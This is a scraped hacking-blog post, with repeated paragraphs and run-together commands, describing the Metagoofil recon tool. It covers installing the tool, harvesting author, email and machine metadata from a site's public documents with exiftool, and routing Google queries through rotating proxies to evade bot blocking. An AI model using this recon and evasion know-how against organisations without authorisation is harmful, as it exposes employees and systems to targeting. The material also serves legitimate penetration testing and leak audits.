Metagoofil by opsdisk is an information-gathering tool. It is designed to extract all the metadata information from public documents that are available on websites. This tool uses two libraries to extract data. These are Hachoir and PdfMiner. After extracting all the data, this tool will generate a report which contains usernames, software versions, and servers or machine names that will help Penetration testers in the information-gathering phase. This tool can also extract MAC addresses from Microsoft office documents. It can give information about the hardware of the system by which they generated the report of the tool.
It searches Google for specific types of files being publicly hosted on a web site and optionally downloads them to your local box. This is useful for Open Source Intelligence gathering, penetration tests, or determining what files your organization is leaking to search indexers like Google. As an example, it uses the Google query below to find all the .pdf files being hosted on example.com and optionally downloads a local copy.
Install proxychains4
___________________________
@hacking_Attack
@Hacking_Video
Recon Tool: Metagoofil
https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Recon Tool: MetagoofilPost Views: 223 https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png Reading Time: 2 Minutes
Recon Tool: Metagoofil GitHub Link MetagoofilIntroductionWhenever you are starting Penetration Testing, the first steps are recon and OSINT. These are the most important ones that would determine how you will proceed next to perform attacks and exploitation. A lot of times sensitive documents and info are publicly available that could contain info impacting your company and often from employees that shared wrongly files or who left the company leaving these traces for attackers to harvest in your recon process.
Metagoofil by opsdisk is an information-gathering tool. It is designed to extract all the metadata information from public documents that are available on websites. This tool uses two libraries to extract data. These are Hachoir and PdfMiner. After extracting all the data, this tool will generate a report which contains usernames, software versions, and servers or machine names that will help Penetration testers in the information-gathering phase. This tool can also extract MAC addresses from Microsoft office documents. It can give information about the hardware of the system by which they generated the report of the tool.
It searches Google for specific types of files being publicly hosted on a web site and optionally downloads them to your local box. This is useful for Open Source Intelligence gathering, penetration tests, or determining what files your organization is leaking to search indexers like Google. As an example, it uses the Google query below to find all the .pdf files being hosted on example.com and optionally downloads a local copy.
site:example.com filetype:pdfThis is a maintained fork of the original https://github.com/laramies/metagoofil and is currently installed by default on the Kali Operating System https://gitlab.com/kalilinux/packages/metagoofil. Unlike the original, a design decision was made to not do metadata analysis and instead defer to other tools like exiftool. exiftool -r *.doc | egrep -i "Author|Creator|Email|Producer|Template" | sort -uSee Also: Complete Offensive Security and Ethical Hacking Course InstallationClone the git repository and install the requirements git clone https://github.com/opsdisk/metagoofilcd metagoofilvirtualenv -p python3 .venv # If using a virtual environment.source .venv/bin/activate # If using a virtual environment.pip install -r requirements.txtSee Also: Offensive Security Tool: Swaks – Swiss Army Knife for SMTP Docker Installation & Usagegit clone https://github.com/opsdisk/metagoofilcd metagoofildocker build -t metagoofil.# This will save the files in your current directory.docker run -v $PWD:/data metagoofil -d kali.org -t pdfSee Also: Samsung Shattered Encryption on 100M Phones Google is blocking me!If you start getting HTTP 429 errors, Google has rightfully detected you as a bot and will block your IP for a set period of time. One solution is to use proxychains and a bank of proxies to round robin the lookups.Install proxychains4
apt install proxychains4 -yEdit the /etc/proxychains4.conf configuration file to round robin the look ups through different proxy servers. In the example below, 2 different dynamic SOCKS proxies have been set up with different local listening ports (9050 and 9051). If you don’t know how to utilize SSH and dynamic SOCKS proxies, you can pick up a copy of Cyber Plumber’s Handbook and interactive[...]___________________________
@hacking_Attack
@Hacking_Video
Black Hat Ethical Hacking
Recon Tool: Metagoofil | Black Hat Ethical Hacking
Metagoofil is an information-gathering tool. It is designed to extract all the metadata information from public documents that are available on websites.